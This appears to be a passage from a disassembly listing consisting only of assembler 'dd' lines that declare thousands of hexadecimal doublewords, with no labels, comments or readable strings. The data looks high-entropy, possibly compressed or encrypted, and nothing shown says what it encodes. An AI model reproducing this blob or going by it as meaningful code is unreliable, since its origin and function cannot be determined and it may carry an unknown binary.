		dd 6689879Eh, 0D8F2B321h, 71C8435Dh, 52028CE8h,	2D5C70FEh
		dd 10B7199Dh, 4FA9Ah, 12F2C73Dh, 8A250576h, 390BC804h
		dd 7D40ABB8h, 0E7E6F793h, 3459CC60h, 0C4B75883h, 80235A21h
		dd 0D96ED23h, 0D624E000h, 0FB90E74Eh, 8C0C9805h, 11E176FCh
		dd 88C56862h, 0E9A9803Ah, 0D5EA8CECh, 2300BB98h, 66AA5A53h
		dd 18D3CBE5h, 79E7BE65h, 700749A0h, 671C913Fh, 3AC44FC3h
		dd 11B02C18h, 5CE1AE71h, 0E0250306h, 79C1DD97h,	80B4013Fh
		dd 3E71F130h, 17EEC0C2h, 0CAC0A600h, 36F2918Bh,	42400B8h
		dd 0FBA3D5E8h, 6418AD7Eh, 55540750h, 6C1ED4D6h,	0E71D6E23h
		dd 75687484h, 6F213862h, 8520ECEFh, 4D50B07Ch, 28E8FC6Ch
		dd 4D23BE42h, 0AE20105Ah, 9D0F8C19h, 329FD5F7h,	0E716060h
		dd 1BB83B52h, 0A922C3h,	620E797Ah, 0D88D38D2h, 44243124h
		dd 58E04341h, 60872460h, 0D9EB3136h, 700E132h, 53DACBD2h
		dd 9844354h, 0DD0E250Ah, 4B407491h, 0E7968304h,	631024AEh
		dd 81AF8A18h, 1EE30110h, 308215F1h, 0FF484FDCh,	5A871870h
		dd 317EE021h, 0A48E80Dh, 6D844E9h, 28A7FFF8h, 66F44A43h
		dd 0E183850h, 0B5114887h, 72FD05DAh, 0AB44A932h, 6871F113h
		dd 0D424B597h, 612B7844h, 0DA8518AFh, 0D2398609h, 0E51586Ah
		dd 392BBF31h, 501307E0h, 9301ECE0h, 0AFF7B40Bh,	243536AEh
		dd 3EF0AC08h, 6544167Ch, 0BA8ABC01h, 0EC293AE6h, 50A1C8D3h
		dd 0B5C92DBh, 0C287E954h, 4E6CA8Fh, 0FF071980h,	0E1B01A48h
		dd 0E6493980h, 93A90035h, 0AF634042h, 2C00E8B3h, 24ED9404h
		dd 6354578h, 43F15C89h,	3D000888h, 0F8BD7974h, 0E0E6CECBh
		dd 0E84F2BA1h, 0B8E99B4Ch, 4CD090E8h, 520E0A4h,	6FED3191h
		dd 200FF548h, 0F46436B2h, 54589F0h, 24AC40AEh, 0A4A10C59h
		dd 0A96AD907h, 0BCB3F6A5h, 41200299h, 0A2B858F7h, 6544E008h
		dd 0A0DBE483h, 0C3D39029h, 0E96C3618h, 0A97821AEh, 0C170EC48h
		dd 92352AF9h, 0AF868847h, 0F6AB0E48h, 0EEE3AA48h, 71094B56h
		dd 8773437Eh, 712C4F68h, 0D91F0415h, 0C0115B95h, 0BB57AFB8h
		dd 0FC304389h, 0BDEC053Eh, 82E56EEEh, 9C886FC7h, 36A60558h
		dd 5C94C3F6h, 0FD359119h, 0DF106410h, 662C9DECh, 5709D36Dh
		dd 87948339h, 1621013Fh, 31E98310h, 0A74222Ah, 0BCFDF763h
		dd 79EE8039h, 0F49529BEh, 83F4904h, 700243Ch, 0ECBF751Dh
		dd 7900F617h, 0F5216558h, 0CE6A4FCh, 8150A0F7h,	0FD00C431h
		dd 4F6AC71h, 20F1670h, 19895611h, 0D864963Fh, 0FD9E4700h
		dd 0F57F0EC5h, 7EE70645h, 21CD2B31h, 1C90A579h,	598A5032h
		dd 0C888F44h, 24E11D2h,	716789FEh, 0C41AC18h, 6BD44C98h
		dd 35A87348h, 606051C4h, 92372AB1h, 6C6804B8h, 0C1D1522Eh
		dd 8236D29Ch, 57915C19h, 22D0A0CBh, 903C7459h, 81650020h
		dd 4E39D067h, 0BCEC3668h, 432B82FAh, 5313143Bh,	302ACC0Ah
		dd 3E34A13Ah, 6A60C13h,	0A93757D8h, 75667D16h, 0E17EB800h
		dd 2E815B5h, 98E60E18h,	0D0C457C8h, 0A0D99F00h,	0AA1BEE3Ah
		dd 24D3FE85h, 4404502Eh, 2F68C475h, 0D9CF0428h,	0E2F3B48h
		dd 269E6EEAh, 0EA592565h, 0AD8730E7h, 0C8541431h, 0A5BD4218h
		dd 6BAB61h, 2B5DAD95h, 9CA804EFh, 8C101C91h, 53AC74C0h
		dd 0DB28EDE7h, 0AF2198B0h, 0AA940870h, 18A71832h, 4384CD54h
		dd 89C0517Fh, 94B65518h, 34FC30E0h, 0A0EF5079h,	9C04C400h
		dd 0FF2E7691h, 0AC664CCBh, 2C2CA428h, 3EA85FF6h, 1BD8F068h
		dd 0E7C04040h, 0D09524DAh, 20221A4Ah, 0D860806Fh, 418AA30Eh
		dd 38434204h, 0BAC2A0D7h, 205C6063h, 0E91096DFh, 4687A80h
		dd 820D93CFh, 5FACC0B0h, 284C7D3Fh, 593605E1h, 78807F79h
		dd 48FC0C65h, 0DE2E3C8Ch
		dd 36DB028Fh, 44C1AF7Eh, 7989981Fh, 31666D51h, 0EC31EFBCh
		dd 0C0DBDC50h, 3AB780C1h, 50704A79h, 60FBF85Ch,	294118C1h
		dd 7898A219h, 7C5D6BE8h, 17ED0040h, 940FA82Ah, 3F1A29C3h
		dd 97D18C94h, 7F3CC230h, 9DE11AB7h, 0F7B48210h,	1180C51h
		dd 98068D40h, 0D9412084h, 0EB2D9614h, 627B0CD0h, 0E87E87Eh
		dd 0B0D853BBh, 0C08FE746h, 6D57961Dh, 907C9F43h, 0CF29217Bh
		dd 0BF99A508h, 798D1142h, 3C5CE322h, 5237038Bh,	0E0A64546h
		dd 897E61h, 35049039h, 0FD6B404Fh, 0D3004A70h, 0D756F6DBh
		dd 8726C8h, 99D2F847h, 0CD903DB5h, 352C3Eh, 0FBB76301h
		dd 346546Fh, 0B5B8C91Ah, 93B8F0FDh, 0A600ED2Ch,	0F3BA391h
		dd 0CB2BA2Ah, 0A0C1EE5Fh, 6B009829h, 3A6D2C94h,	33727Bh
		dd 309B8BDCh, 95DFF781h, 0FEB3E700h, 2B10FFAEh,	0A6A90069h
		dd 0C9922DCAh, 0C7008018h, 0A5D4FC3Ah, 9C3498h,	0F00EEBBEh
		dd 0B157E124h, 0D6521B1Eh, 0C026738Eh, 0B209EACAh, 0B68C0039h
		dd 0D13A4819h, 0A00BA3D3h, 0A05BA6B4h, 63794EF8h, 0E8C6004Ch
		dd 16E99974h, 4F00E46Ah, 0B0B80686h, 18796D0h, 0E0119F35h
		dd 0EC085972h, 7800C9C2h, 2F6EFFF1h, 226BD0h, 0DE18435Eh
		dd 68EB2752h, 0F2034B04h, 87C06328h, 0C8FE71h, 0EAA114B4h
		dd 732F8964h, 0A00E292Ah, 165BB0Ah, 80009CB3h, 2FF3501Ch
		dd 773B2AD8h, 0C7DD00ACh, 46035723h, 0E403CB28h, 0ADC5826Eh
		dd 1F0D9806h, 31700EBCh, 0C940D80Bh, 2BA96B89h,	0E5E3F300h
		dd 3A4D4A2Dh, 0EFC7010Fh, 0A4FDBB49h, 853FD8F4h, 36830700h
		dd 3D44EE3h, 7D0601D1h,	0B63C461h, 605BF53Fh, 343B96B0h
		dd 21A280FBh, 5D9F8D85h, 4F410119h, 0DEAFBD5Eh,	564430ACh
		dd 0D828F01Dh, 0E130F3CCh, 8E753FC7h, 4614CC00h, 1794746Eh
		dd 0B73FD000h, 0ED9C648Bh, 6F5100FDh, 0CF126508h, 1618449Eh
		dd 5E40ECB6h, 80300022h, 3BC7BABBh, 6A5C8E4Fh, 124D023Bh
		dd 8054C4D3h, 587E0FF3h, 665E00ACh, 0B0B4D00Dh,	0B303F18Eh
		dd 881FAE71h, 0D9290231h, 65541315h, 0C441F6E1h, 7C73D6A4h
		dd 0AFDEAE00h, 61A5A7Eh, 0A63A006Eh, 4EB6EE60h,	0F61F1E6Bh
		dd 5455BDAh, 0A500D52Dh, 0C3EFD8ADh, 76630353h,	367328AFh
		dd 2AE46903h, 88320A18h, 0F32392h, 6530D5BFh, 0A1598D4Fh
		dd 2618464Ch, 791E10ADh, 14519B80h, 617BD2Ah, 29E46401h
		dd 0CE001E85h, 8C4F841Fh, 0E4CFC41Eh, 628100DFh, 0B330EFF5h
		dd 0B5009329h, 0F0DEC1C5h, 718CE8Ch, 1935E727h,	0E1A51052h
		dd 0BA38487Ah, 2EDB0730h, 0E4DF7EBCh, 34900EEDh, 90C31777h
		dd 0FC970044h, 0D5F735F1h, 850164F0h, 0C507FE25h, 0C0604584h
		dd 0C6CE006Dh, 0D67E17EBh, 6E020181h, 4CB04D6Bh, 0B1D0E82Eh
		dd 9B340015h, 0F48DE1CBh, 5B003C3Bh, 4708B3B2h,	3F12476h
		dd 9AFD6517h, 84AF3DE9h, 0BF9880D8h, 4A07D488h,	661AEF84h
		dd 459C3FB0h, 35780921h, 7A87A12Bh, 7F6AF0F2h, 0C909CD77h
		dd 804ACAC6h, 1965DABCh, 0F37158DFh, 6FCB3800h,	0E18DDD88h
		dd 4A3AFE00h, 1C6405EDh, 86E00D4h, 3BCAC1C7h, 21008AA5h
		dd 2CF9A666h, 3BA1F333h, 0E280DA2Ah, 505E3820h,	56015A27h
		dd 60229D7Bh, 90EF70B3h, 96E3658Eh, 0CA5D0454h,	1984D099h
		dd 0AD717A72h, 0FD62AA00h, 6A48EDC2h, 0AFC45052h, 709872DAh
		dd 0ADCA00B3h, 31BD9456h, 59000AE0h, 90B64548h,	0FDBC3Eh
		dd 0CFD4E57Fh, 0F726BBC8h, 6F23AF00h, 5924B18Eh, 0A0C2007Dh
		dd 4EDCDA66h, 2E77BE38h, 0FEC8BB09h, 0D2D0609Dh, 0C340061h
		dd 8B24166Ah, 3C7C5AC7h, 0F7397F00h, 2263574Dh,	75FF58D3h
		dd 4F5F0400h, 54BDAFBBh, 34285Dh, 166EE6Ch, 0AC8809h, 0AEB1D3B7h
		dd 0F3E16999h, 11BE0C04h, 64800D9Bh, 5462AE2h, 775A6815h
		dd 0A48A80D6h, 0CD00C4E9h, 4E651C5Fh, 0B076D0F6h, 84BF3A30h
		dd 59C1FE84h, 53489127h, 805421DCh, 1BA70A31h, 0FEF25Bh
		dd 1A6A4F89h, 57D13EDEh, 90823A40h, 7DC81E3Eh, 1092000Eh
		dd 236902F1h, 4E0A661Ch, 0A46B7101h, 309E39CCh,	2A5A0046h
		dd 75AB50EEh, 9DC8AC00h, 0C5FCD5CFh, 18A93D9Ch,	0FEA8313h
		dd 31801A44h, 5C339E71h, 5400EFECh, 9FD6A84Ah, 0A0DAE804h
		dd 982370D4h, 0D7C0009Ah, 0DF18DCF3h, 0C12CE1F0h, 0B100885Ch
		dd 90C98C41h, 21C22726h, 0B6310075h, 71F6D8h, 0E9A6531Ch
		dd 47ABAA2Ah, 52C66B00h, 79957E38h, 98C10056h, 1E5DDF2h
		dd 550EE059h, 806B28B4h, 0B687F94Bh, 0B0757050h, 0D910300Eh
		dd 84023938h, 2B887807h, 4040614Fh, 5E1A94h, 0B48D27B6h
		dd 0BB8FF103h, 0A90CA200h, 291B7C07h, 5777006Ch, 75C08974h
		dd 11EC1A1Dh, 0FF98B400h, 0BFD56E02h, 0A670482h, 905AC265h
		dd 27200D34h, 0F6487600h, 0E1B79BD8h, 10CD0B8Fh, 180B9F3h
		dd 0CB21EB08h, 0D8F44913h, 8B41A81Ch, 0B5D6B6ABh, 1EE2824h
		dd 6322640Ah, 30E6232Ch, 0ED118E64h, 0BBC0E202h, 0F15360E4h
		dd 9B407C00h, 5D80E0A9h, 80D8B457h, 906003B8h, 630BC155h
		dd 200D7E2Dh, 1FFE8DB8h, 0B0B92539h, 36AFA406h,	10A448h
		dd 0FDE1682Bh, 2CE24E3Dh, 78B46ADh, 7079D574h, 0C5A76794h
		dd 1BBFEF00h, 0BE1F3A5Fh, 0A438EB06h, 0C160C307h, 0ACB3B5F1h
		dd 2B57006Dh, 0AE8A14C9h, 629E0144h, 78F15E26h,	525480DDh
		dd 2AD7AC56h, 553707CFh, 0D0A144A9h, 7BE0C580h,	58862D30h
		dd 0BABB8FCh, 0CB3D30AFh, 0D87B6048h, 6720DE63h, 0A283E7A5h
		dd 85112099h, 78D28122h, 764C2535h, 0F60C480Fh,	28C0665Ah
		dd 173C254Eh, 5C94C2h, 1E9C8D5Ch, 977B4CD0h, 0B1A43900h
		dd 0D22FDB68h, 0C578B7h, 6D66C41Ah, 0CE5C7C9Ch,	4CECBF28h
		dd 3BEE4410h, 0B3B90378h, 5A424DAFh, 0EBC4F6A0h, 4387CF00h
		dd 76B0D858h, 16FD07D0h, 3AE17Ch, 558F8660h, 0DD8E4400h
		dd 0D168F818h, 3E3D72EAh, 0BEAD8066h, 0DC04C028h, 0A1C0FC31h
		dd 0C878BD87h, 0A5B8D809h, 9A33B840h, 826B8B8Ah, 0E5A1BB8h
		dd 29A7D546h, 90113742h, 2F2273h, 84EAC1C8h, 31F8FB9Dh
		dd 0D82E302Ch, 2AB7CC80h, 70EEFD9Ah, 8F36005Fh,	0B3F23A98h
		dd 0A3006A86h, 0D607BBE3h, 2339190h, 192AB8F9h,	9C60A8F5h
		dd 83AE143h, 0E5C19C62h, 0DA10803Ch, 92D823E8h,	0BC6D002Ch
		dd 0F062EE6Eh, 63001F13h, 76D66B0Ch, 3D1BAC17h,	0B4958499h
		dd 247B8861h, 80804A39h, 0E985BD38h, 0BE00F5A1h, 9E6E7B15h
		dd 0C37F4356h, 32082F20h, 0D6B09AF0h, 28649300h, 73D0674Bh
		dd 0B7E00022h, 72D36103h, 0FC00581Eh, 0F257D47Fh, 1E209B4Fh
		dd 9C7DCF6Dh, 456300AFh, 51860BB4h, 0EC010F7Dh,	4C136F9h
		dd 0D451DE6Bh, 0AC62C8F2h, 0C22A0079h, 0EF664963h, 0D90003B6h
		dd 0F1E0B98Eh, 0A44B1Eh, 0E2702A1h, 0F99BAFB8h,	0ECD3DB00h
		dd 0A3C46AF7h, 5F8A00E7h, 3F390FBDh, 66035415h,	6AEDAC86h
		dd 0E23097E5h, 0E847E6FEh, 0B0E7008Bh, 0C4CBD53Ah, 58005B8Eh
		dd 160F3C81h, 9CAD113h,	8F3BE5FAh, 3213B17Ch, 0D4927C05h
		dd 34893800h, 0C5A57Dh,	0D3297EE4h, 0D4C7F081h,	60690504h
		dd 76C0D940h, 5C92FB73h, 271CC4E5h, 0CBC4C16Dh,	704F453Ch
		dd 4E0B16Ch, 374CEC00h,	8C600CAFh, 5C142643h, 0D1748074h
		dd 0E68589A2h, 902FF716h, 0EDC1A440h, 2DACDAh, 0DF013564h
		dd 0A1148CB7h, 0D074913Dh, 2909C3BCh, 0D06B98h,	0F76E5F27h
		dd 8B1D00C7h, 0C3657295h, 46007AA3h, 0DB494A81h, 14021029h
		dd 0D0CE6DB7h
		dd 4BF638h, 0B8F579A0h,	7217DEB1h, 0EC20F79Bh, 7BEFF70h
		dd 0F879C65Dh, 0C930F09Ah, 5F77216Ah, 76265700h, 0B77B93F7h
		dd 45F139EAh, 80EB2500h, 0D0E86A03h, 93009494h,	0E6926DD3h
		dd 0E4164D76h, 4FBC770Fh, 0F14633A1h, 6DD86099h, 6E423100h
		dd 0ACFC902h, 18C46179h, 40B4E220h, 23C8E88Ch, 25EE6003h
		dd 0E88FB885h, 60982815h, 0E00F1978h, 3D00B567h, 0EC6137FFh
		dd 88E309h, 0BC8CCF5Bh,	0D6D06662h, 2347E800h, 1181425Fh
		dd 0C6B800C5h, 6246247Eh, 0FD757C4Bh, 7129C100h, 0F3AF08ECh
		dd 0D3E6CCh, 80855DD6h,	0B59A0C35h, 5B3B2BF2h, 9D16851Eh
		dd 9AA7559h, 2470B96Ah,	2600AC74h, 34D64248h, 7212F6h
		dd 0A0A9D96Eh, 0D1FE8EB3h, 5C4D5A14h, 86EC00FEh, 0B6112766h
		dd 2508E216h, 0E0A429E3h, 0AB30A01Ch, 7F002498h, 0F9633644h
		dd 505E8AD1h, 0DAACB1h,	0EAFCCCB2h, 50FF3C68h, 0A212407Ch
		dd 5C80A755h, 0F04204h,	6CC29059h, 67702E0Ch, 184CDF79h
		dd 4007600h, 47484C3Eh,	0EE84A8h, 9DE5DB1Bh, 0E99AC63Bh
		dd 9234900h, 0D586E659h, 0D4571D6Bh, 0A5ED0063h, 998AFC82h
		dd 51770F0Eh, 5EE420D8h, 51EA035h, 68156995h, 3A968146h
		dd 474AE045h, 9158F100h, 24022948h, 12430051h, 77F6B9ECh
		dd 23019CFEh, 0D33F2C50h, 0F840A3E5h, 4DB68Eh, 32735629h
		dd 527A1139h, 0A97DC328h, 0EE958C30h, 3CC01F0Fh, 8E12B53h
		dd 434BA5BFh, 4FC8AB95h, 801FD620h, 0A3C076C1h,	926FC416h
		dd 0C9500091h, 230EA929h, 0FB00ACBFh, 0D0B1C271h, 1E2CE179h
		dd 0C7F00325h, 803033F1h, 0C8CE0EA5h, 7FADC539h, 0F2785507h
		dd 7E66D39Ch, 0E8A40098h, 0EFD7FC37h, 0CC000BCBh, 7C1C9A36h
		dd 749B3Ah, 0AF7D4935h,	0BCDB19B6h, 1047FC30h, 0E686077h
		dd 9FA4B02Fh, 0D534F7E0h, 0EC002E78h, 15BA8B28h, 91EDEAh
		dd 87DFE986h, 0AAE51624h, 95CC6D0Bh, 69DD00F6h,	255390h
		dd 72D7F486h, 6E5D1EFCh, 6F4F6500h, 0A44DB1C5h,	0C0943CCAh
		dd 31813380h, 867D139Dh, 0E1000BE2h, 2F57A863h,	3B7BFB50h
		dd 0A1805A40h, 5D323766h, 345903DFh, 49150ED0h,	0DC05D2BBh
		dd 0DC909033h, 3B20378h, 41FA224Ch, 2016C9F6h, 5200FB30h
		dd 520AC5CCh, 189B60A5h, 0D4758AE0h, 2D38261Eh,	34626004h
		dd 743408F1h, 72420319h, 43B79B49h, 0B0F0D9E8h,	8ABAF700h
		dd 1DA748C4h, 2AB200A5h, 96C3D327h, 0B982BEAh, 0F740FA1Dh
		dd 4755DB87h, 0A621CD70h, 1613F60Dh, 505AFBh, 377D624Eh
		dd 8873EAA1h, 8228B400h, 0B55FE4FDh, 0FBBC3CC6h, 0DC9C80CBh
		dd 910096BDh, 764D7F1h,	3F9E8203h, 0A33ADA69h, 0AE26E8Fh
		dd 17006CABh, 0F7F6973Ch, 0B400284Bh, 55397451h, 0EDAF019Dh
		dd 0E1059E94h, 4FF0209Ch, 0D244F400h, 7BFEEA2h,	926A006Bh
		dd 0F3350A85h, 8770DBDEh, 8E78113Ch, 0C04F2BCCh, 82E90169h
		dd 527094h, 45552679h, 569CA15Eh, 7D636402h, 8E668FD1h
		dd 0BCBDC09Fh, 4F982521h, 0C8003B40h, 99276760h, 38F4145Ah
		dd 936CD200h, 15F110E5h, 704A006Ah, 0EEC5DE0Ah,	9E033680h
		dd 176F0752h, 0AD06E8DAh, 7CE90044h, 0D75FC861h, 0EF1C4742h
		dd 36C78256h, 400B2EEDh, 301E406Ch, 69D9EB05h, 771DCB35h
		dd 7B043D68h, 0B4A3D750h, 3CD96C11h, 179D008Dh,	0EA065E32h
		dd 75F800B7h, 0E4D64A30h, 36FC3D8Bh, 22414020h,	87F99D45h
		dd 4478E2D9h, 0BB209CB0h, 377481h, 69BFE19Ah, 9799C1DBh
		dd 8CB1E500h, 0FD2E61CBh, 1C494ABh, 0BF8B5C79h,	4E08E9h
		dd 0C0283C2Bh, 8F96E545h, 2E43A03Eh, 40000961h,	0C6020D0Ch
		dd 0C8D51483h, 0C212CE5Bh, 21B88862h, 787D5722h, 35907Fh
		dd 855ACECBh, 99455824h, 2F122AE8h, 0A097FFh, 0B0664B89h
		dd 271F4AB0h, 4106A6C5h, 249B9BDh, 323D5554h, 5480E920h
		dd 8E249887h, 651CB6F8h, 0C50745DFh, 0CB32670Bh, 9D645CB7h
		dd 9CC7002Dh, 0C2E0BC42h, 541B01Ch, 169F0870h, 0A5430972h
		dd 406888C3h, 0DD0003DEh, 4489A38Ch, 57E980h, 90070BABh
		dd 48012ED8h, 4027637Bh, 7CF06896h, 3FC9001Ah, 543D43A5h
		dd 0E2EC1B74h, 72758D00h, 0B7E55DFh, 0A4150077h, 308AF71Fh
		dd 5C018457h, 0EC24D128h, 59CCBFD8h, 54DC07F1h,	8E1879h
		dd 5F75864Dh, 0EAA4A306h, 371D296h, 52E28058h, 4E0F80Ah
		dd 8E0F2AD0h, 8328596Ah, 0B0D30F1Eh, 6F50E7BDh,	2D00C8EBh
		dd 20B76D2h, 6DF53Eh, 3063C7B8h, 4CAC51h, 0FA1E37D5h, 0DF06A420h
		dd 97C04F00h, 7079AFE2h, 0BF823D66h, 4411F5B0h,	2404A1DAh
		dd 5C0646Bh, 0D23C60ADh, 64C02CA5h, 2F06076Fh, 0D83F588Bh
		dd 4BE20EDCh, 61E03E39h, 2AD29AB5h, 0C9AADE00h,	9F3C7F1Ah
		dd 13F68Bh, 3275497Eh, 57EEDACBh, 957A5E00h, 7C856017h
		dd 8EB56C46h, 5A037630h, 1DDBA763h, 0F871CED6h,	0F504A52Eh
		dd 0B9E1FE80h, 60C267C1h, 5D031839h, 0DD01347Dh, 0CE1D546Fh
		dd 98F81659h, 67A9004Ah, 2E92AA31h, 7C64FF02h, 9021C829h
		dd 9CE51397h, 487ACF44h, 74ED42BCh, 7122D924h, 94089011h
		dd 3CCD5184h, 448D4F3h,	25709942h, 13140821h, 221CF842h
		dd 1524AB35h, 128CF121h, 0FD5710ECh, 84C94940h,	33179010h
		dd 223C4028h, 0BD42037Bh, 2964473Eh, 0E4A42334h, 46AB5144h
		dd 517985BEh, 0FFC51428h, 86057990h, 44298250h,	4701B11Ch
		dd 9FEB3831h, 0E5F98D0Bh, 0FB3CFC0h, 0E4354C3Ch, 1845580h
		dd 0BEF4A7C6h, 0C162000h, 0ED05D90Fh, 0F58D006Bh, 1D715732h
		dd 85002DAEh, 7EABE9Eh,	2CF15689h, 0F84D38Bh, 0B2C03BAAh
		dd 8FDC8CAh, 2500C7E2h,	0DD89C42Ah, 71A0FFh, 0E8DC6E9h
		dd 0B31F502Bh, 0CCC75900h, 0C252A45Eh, 0D9831EB8h, 0F45FC0A8h
		dd 769BDAC4h, 82973Fh, 748EF87Fh, 9C816h, 4B125BC0h, 6570D1A3h
		dd 0C3557901h, 1B5A0DA5h, 1445824h, 5B194AFCh, 9FAB084Bh
		dd 0BE807A78h, 0CEE4A89Bh, 0D0F30090h, 0E8AD291Ch, 3B263F2Bh
		dd 3D8014A7h, 0A433D6DAh, 3251D4Bh, 0BF1D0098h,	99C4C092h
		dd 0E71B500h, 7D5851D6h, 6DEA0090h, 8A5B5070h, 0D703D8FAh
		dd 2F44BDAAh, 0ECC5886Bh, 22E41CA1h, 7CB70081h,	69939702h
		dd 0E02CFE00h, 0D3A179B5h, 9A7A00E2h, 7DF81657h, 8007771h
		dd 8D017CF5h, 7C4C8A1Dh, 36091F94h, 0DCB0F75h, 7CC8C03Ch
		dd 2634919Ch, 0B2B37106h, 0F0D53Ch, 15785E1Ch, 49F87EC6h
		dd 0DE01E071h, 43C3D16Bh, 5F60D07Fh, 1FE50748h,	0E402F3h
		dd 2B827EBEh, 5650CF00h, 0DD75FA83h, 0CA961E9Ch, 0E116C1E5h
		dd 435FB40Ah, 70906085h, 0C80003DDh, 8723E8E4h,	50F5D309h
		dd 0F1F2A402h, 0E02BC880h, 261DC64Ah, 0F4103901h, 24748C84h
		dd 0C39CF0h, 0FCE785C1h, 0CD55E8FEh, 46994E00h,	354DABA6h
		dd 320701F4h, 0C4EDEF5Dh, 4740209Ch, 0D316C900h, 185B4AFEh
		dd 3FAE7E49h, 8F9ECBECh, 0A6DCC1EAh, 0FCEE1EF1h, 8201A298h
		dd 3C853AE6h, 2330D06Ch, 29A1073Dh, 41D308EBh, 20B31110h
		dd 15009860h, 392C7B73h, 50E8E9FCh, 45BA8AAh, 883A2029h
		dd 0D42080E5h, 0E000BFB3h, 1CAA25BEh, 245972D5h, 1C501099h
		dd 9909304h, 9410D7A0h,	0AA02CE4Ah, 0C2E261BCh,	859848FCh
		dd 65920795h, 3937241Fh, 997A4500h, 5500A39Fh, 264D0D96h
		dd 53752Ah, 872491A6h, 0D0CAF9F2h, 0B121300h, 968ED1FFh
		dd 157D0027h, 3C063B2Ah, 0CF0390AFh, 0E2C83E48h, 419EA0A8h
		dd 0E04E039h, 6254C2F9h, 0ED93FD60h, 0DC00F836h, 462D0526h
		dd 0B1D41Eh, 751F1C9Ch,	62CA15C4h, 65063601h, 76C39AD1h
		dd 482107F7h, 72B4DAh, 61B28016h, 5824B970h, 3AC4B0h, 0BB8E6723h
		dd 713398F1h, 0E5AF03EAh, 895AC643h, 398AFB98h,	80931E3Fh
		dd 0C5F84EF0h, 3689F22h, 0F3015D97h, 0F7A8F5B0h, 6F398AD8h
		dd 7C358006h, 4CEB1DD9h, 9E380029h, 47DDF04Fh, 6500E360h
		dd 0C38B50E2h, 262D9F20h, 13BFFCh, 9B64244Fh, 0C71D3297h
		dd 0C0860F0Eh, 70C354h,	0E3B73B1Fh, 30518844h, 14F70903h
		dd 0B852ED6Ah, 3D757464h, 720338A3h, 0F20D6002h, 0E004BDA9h
		dd 0A013762h, 1C1E3CF9h, 13F4702Bh, 6AE00F9Dh, 3BA00DDCh
		dd 7A954ED0h, 0C7330901h, 0C2229BAAh, 14A3DCh, 4C251B26h
		dd 3DF39940h, 9305E600h, 887CD5A6h, 0F09E0014h,	0C9B30A51h
		dd 47176B8Ah, 0BE00C73Ah, 0A945894Ah, 0FBC101E3h, 99717AACh
		dd 3900EFD8h, 0D6C6F50Bh, 97B5ABh, 0CD15175Bh, 7A9C45EAh
		dd 874A9B0Bh, 0E4E8003Dh, 3F0DEC65h, 880B175h, 66138B6Fh
		dd 0DF1268DDh, 7F0E7648h, 0A26B87FAh, 90B0C08Eh, 28130A5h
		dd 62FCD840h, 38C03DC6h, 2F3C3F07h, 3B98BD71h, 0A42726D9h
		dd 8C2AE983h, 74C0B467h, 2DF221h, 0AF261B24h, 0E9BA4A0Ah
		dd 0A7D2B912h, 0D3C6E600h, 557827h, 53913350h, 0DC9EAB59h
		dd 661C4001h, 9F57DF32h, 7FF589C0h, 731312ADh, 23CA008Fh
		dd 15F00B47h, 0BD1ED6E6h, 0C1C0DBC0h, 763D3ECAh, 6BEE3A2Eh
		dd 8D16F400h, 1287E64Ah, 8B61830h, 0EEED01h, 74BB5FABh
		dd 0BEFE8152h, 1E3D03E6h, 43E2804Ah, 0BA7F4EA4h, 0C42E07B1h
		dd 0E064C7A5h, 0BBD83776h, 0B8771E02h, 80AEC6F6h, 6CF4FA8Bh
		dd 26A20334h, 27108E35h, 4DD29C0h, 217F5700h, 39F94C94h
		dd 0C6E40F55h, 0D560A30Eh, 185D3C77h, 1A26A898h, 8780A010h
		dd 0AE25DDD3h, 1BC80041h, 0CD0CB41Dh, 0DB007D57h, 354F8DE9h
		dd 3E58C6h, 2E319705h, 9DA5D3CEh, 899F9B1Fh, 4D4617C2h
		dd 0FFA860A2h, 54DE4D21h, 0F289E63Bh, 44843B92h, 5F63800Ah
		dd 700372Eh, 0D616291Dh, 32B2Ah, 0DADE6C7Fh, 43063540h
		dd 0DC0FCE72h, 0A09F09F1h, 0CB49891Ch, 275D0019h, 0C8CE1098h
		dd 8500B8CCh, 38CEDFAh,	0BA9B1Dh, 8E306263h, 0A80CDF50h
		dd 6AF14F03h, 73E0274Dh, 6EB10010h, 77B77F5Ah, 0B9001585h
		dd 0C345CB2Ah, 0FF99E0Ch, 0BAAA9541h, 0FCFABCC0h, 0AFB8794Ch
		dd 8055B539h, 5D40EAE4h, 3C73E1BFh, 3E806A81h, 49FA52B7h
		dd 0C8007FC1h, 0BF02E034h, 16042F77h, 4009ADDCh, 0DDF15130h
		dd 5B1DA9B0h, 10401541h, 38D0468Dh, 66EE3D32h, 0FA89Ch
		dd 42A4AF0Ch, 3602125Ch, 97C86314h, 74B0403Fh, 5E1B0095h
		dd 17F46245h, 430CBB7Fh, 0FA986D76h, 0DE590086h, 721C6749h
		dd 61124FD8h, 0B4406CAFh, 0D79465A8h, 0EE67EACDh, 0A09F124Eh
		dd 0C9B00177h, 102CD6DFh, 11BB81Dh, 0B059844Bh,	2058B35Eh
		dd 0E3E5F6E4h, 23CC0085h, 9C36B5ACh, 31C0A500h,	8C9AFC0Ch
		dd 0D4B200AFh, 61DDE773h, 0C400B3E3h, 488136EBh, 243545EFh
		dd 9CDE9Eh, 8AC8A98Eh, 4D01E63Eh, 0F0B3093Bh, 0A6402B50h
		dd 1DD024h, 9FF6A11Ch, 96D24E7Ch, 0B943F800h, 7FF71B06h
		dd 46280720h, 0C0BD7E17h, 9F0868CAh, 8054FA3Ch,	0B4675842h
		dd 3F91F3ACh, 3280B517h, 0A85605A0h, 2600E4A9h,	0FF312E8Ch
		dd 3CE9EE3Ch, 24991DCBh, 0D09FF084h, 4A001C57h,	0EF564508h
		dd 326F5h, 1F324FA2h, 5036F2E7h, 86D20500h, 14933D6Fh
		dd 0A25E0782h, 0B0915284h, 924A65AFh, 0D695A30Eh, 8ECB3Bh
		dd 1EE91D3Ch, 60161E4Dh, 6663C3BAh, 0F2F05C17h,	0E800E505h
		dd 11A26C7Dh, 0A025E056h, 7B850B8h, 7092C4D2h, 28D56010h
		dd 84906BB4h, 6736B207h, 7E17C973h, 0A77B7FE0h,	0EBC100ACh
		dd 58D8B0A0h, 9D0FF7F6h, 8099DC03h, 2CD52A60h, 6E040031h
		dd 0B4F537EEh, 0F200728Dh, 94E5CE3Dh, 12D86BBEh, 7492F46h
		dd 0D3C03CA4h, 1FE08108h, 3400E465h, 5279D8CBh,	0F4983D64h
		dd 12B900C2h, 84A10423h, 41162156h, 0A503AA01h,	0BA71F227h
		dd 0CE446016h, 0E375005Bh, 0B90FB447h, 0E400E169h, 8068BFFBh
		dd 0BC3050h, 89B61FC9h,	44F2F893h, 42C88207h, 8FA07275h
